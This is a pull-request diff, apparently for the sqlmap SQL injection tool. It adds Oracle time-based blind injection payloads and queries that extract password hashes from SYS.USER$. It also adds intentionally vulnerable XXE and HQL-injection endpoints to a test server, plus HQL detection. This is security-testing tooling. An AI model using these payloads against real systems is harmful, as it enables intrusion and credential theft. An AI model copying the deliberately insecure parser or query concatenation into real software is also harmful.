Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 39 additions & 0 deletions data/xml/payloads/time_blind.xml
Original file line number Diff line number Diff line change
Expand Up @@ -1776,6 +1776,26 @@
</test>

<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
<!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
<test>
<title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
<stype>5</stype>
<level>3</level>
<risk>1</risk>
<clause>1,3,9</clause>
<where>3</where>
<vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
<request>
<payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>

<test>
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
<stype>5</stype>
Expand Down Expand Up @@ -2072,6 +2092,25 @@
</details>
</test>

<test>
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
<stype>5</stype>
<level>3</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
<request>
<payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>

<test>
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
<stype>5</stype>
Expand Down
8 changes: 4 additions & 4 deletions data/xml/queries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -164,7 +164,7 @@

<dbms value="Microsoft SQL Server">
<cast query="CAST(%s AS NVARCHAR(4000))"/>
<length query="LTRIM(STR(LEN(%s)))"/>
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
<isnull query="ISNULL(%s,' ')"/>
<delimiter query="+"/>
<limit query="SELECT TOP %d "/>
Expand Down Expand Up @@ -280,8 +280,8 @@
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
</users>
<passwords>
<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
<inband query="SELECT NAME,COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM SYS.USER$" condition="NAME"/>
<blind query="SELECT COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM (SELECT SPARE4,PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(*) FROM SYS.USER$ WHERE NAME='%s'"/>
</passwords>
<!--
NOTE: in Oracle to enumerate the privileges for the session user you can use:
Expand Down Expand Up @@ -556,7 +556,7 @@

<dbms value="Sybase">
<cast query="CONVERT(VARCHAR(4000),%s)"/>
<length query="LTRIM(STR(LEN(%s)))"/>
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
<isnull query="ISNULL(%s,' ')"/>
<delimiter query="+"/>
<limit query="SELECT TOP %d "/>
Expand Down
137 changes: 137 additions & 0 deletions extra/vulnserver/vulnserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,13 @@

import base64
import json
import os
import random
import re
import sqlite3
import string
import sys
import tempfile
import threading
import time
import traceback
Expand All @@ -24,6 +26,18 @@
UNICODE_ENCODING = "utf-8"
DEBUG = False

# A benign file with random content/name that the XXE endpoint can disclose via a file://
# external entity, so '--xxe --file-read' has a target in the vuln-test. Randomized (never a
# static literal) to match sqlmap's below-the-radar convention, so nothing here becomes a
# blacklistable signature. In-process server, so callers read these same values.
XXE_READ_MARKER = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20))
XXE_READ_FILE = os.path.join(tempfile.gettempdir(), "%s.txt" % "".join(random.choice(string.ascii_lowercase) for _ in range(12)))
try:
with open(XXE_READ_FILE, "w") as _f:
_f.write(XXE_READ_MARKER + "\n")
except (IOError, OSError):
pass

if PY3:
from http.client import FORBIDDEN
from http.client import INTERNAL_SERVER_ERROR
Expand Down Expand Up @@ -218,6 +232,93 @@ def nosql_match(params):
else: # $eq, $in (single-valued here) and any literal equality
return record == value

# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) -------------------
# The query "FROM Users u WHERE u.name = '<input>'" is built by string concatenation; the evaluator
# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path
# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped
# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects
# the parser diagnostic, so it also exercises the error-based entity-leak path.

HQL_ENTITY = "org.vulnserver.model.Users"
HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"}


class _HqlError(Exception):
pass


def _hql_short(name):
return re.split(r"[.$]", name)[-1]


def _hql_no_row(atom):
"""True when a row-walk bound "_h2.<pin> > <n>" excludes the only record, so the
scalar sub-query resolves to NULL and its comparison is false."""

match = re.search(r"_h2\.\w+>(\d+)", atom)
return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1))


def _hql_atom(atom):
atom = atom.strip()

match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1'
if match:
return match.group(1) == match.group(2)

match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X'
if match:
return HQL_RECORD["name"] == match.group(1)

match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute
if match:
if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY):
raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1))
return True

match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence
if match:
attr = match.group(1)
if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
return True

match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length
if match:
attr, n = match.group(1), int(match.group(2))
if attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
if _hql_no_row(atom): # row-walk cursor advanced past the only record
return False
return len(HQL_RECORD[attr]) >= n

match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index)
if match:
attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4))
if attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
if _hql_no_row(atom):
return False
value = HQL_RECORD[attr]
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent
return index >= n

match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak)
if match:
attr = match.group(1)
if attr not in HQL_RECORD:
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
return HQL_RECORD[attr] is not None

raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24])


def hql_evaluate(value):
"""Evaluate "name = '<value>'" as an HQL boolean; returns True/False or raises _HqlError."""

clause = "name = '%s'" % value
return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR "))

# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------

XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
Expand Down Expand Up @@ -858,6 +959,26 @@ def do_REQUEST(self):
self.wfile.write(b"<html><body>Request blocked: security policy violation (WAF)</body></html>")
return

if self.url == "/xxe":
self.send_response(OK)
self.send_header("Content-type", "application/xml; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()

body = getattr(self, "data", "") or ""
try:
from lxml import etree
# VULNERABLE: a parser configured to load DTDs and resolve entities (incl.
# external file:// general entities) - the textbook XXE misconfiguration.
parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True)
root = etree.fromstring(body.encode(UNICODE_ENCODING), parser)
output = "<result>%s</result>" % "".join(root.itertext()) # reflects expanded entities
except Exception as ex:
output = "<error>%s: %s</error>" % (type(ex).__name__, ex) # parser diagnostic (error-based tier)

self.wfile.write(output.encode(UNICODE_ENCODING, "ignore"))
return

if self.url == "/csrf":
if self.params.get("csrf_token") == _csrf_token:
self.url = "/"
Expand Down Expand Up @@ -968,6 +1089,22 @@ def do_REQUEST(self):
self.wfile.write(output.encode(UNICODE_ENCODING))
return

if self.url == "/hql/search":
self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()

name = self.params.get("name", "")
try:
matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL
output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0})
except _HqlError as ex:
output = json.dumps({"results": [], "count": 0, "error": str(ex)})

self.wfile.write(output.encode(UNICODE_ENCODING))
return

if self.url == "/xpath/search":
self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
Expand Down
8 changes: 8 additions & 0 deletions lib/controller/checks.py
Original file line number Diff line number Diff line change
Expand Up @@ -83,6 +83,7 @@
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
from lib.core.settings import GRAPHQL_ERROR_REGEX
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import HQL_ERROR_REGEX
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX
Expand Down Expand Up @@ -1216,6 +1217,13 @@ def _(page):
if conf.beep:
beep()

if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)

if conf.beep:
beep()

if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg)
Expand Down
9 changes: 7 additions & 2 deletions lib/controller/controller.py
Original file line number Diff line number Diff line change
Expand Up @@ -529,8 +529,8 @@ def start():

checkWaf()

if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only")

if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
Expand Down Expand Up @@ -562,6 +562,11 @@ def start():
xxeScan()
continue

if conf.hql:
from lib.techniques.hql.inject import hqlScan
hqlScan()
continue

if conf.nullConnection:
checkNullConnection()

Expand Down
1 change: 1 addition & 0 deletions lib/core/enums.py
Original file line number Diff line number Diff line change
Expand Up @@ -188,6 +188,7 @@ class HASH(object):
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
ORACLE_12C = r'(?i)\At:[0-9a-f]{160}\Z'
ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z'
MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z'
SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z'
Expand Down
1 change: 1 addition & 0 deletions lib/core/optiondict.py
Original file line number Diff line number Diff line change
Expand Up @@ -126,6 +126,7 @@
"xpath": "boolean",
"ssti": "boolean",
"xxe": "boolean",
"hql": "boolean",
"oobServer": "string",
"oobToken": "string",
"timeSec": "integer",
Expand Down
Loading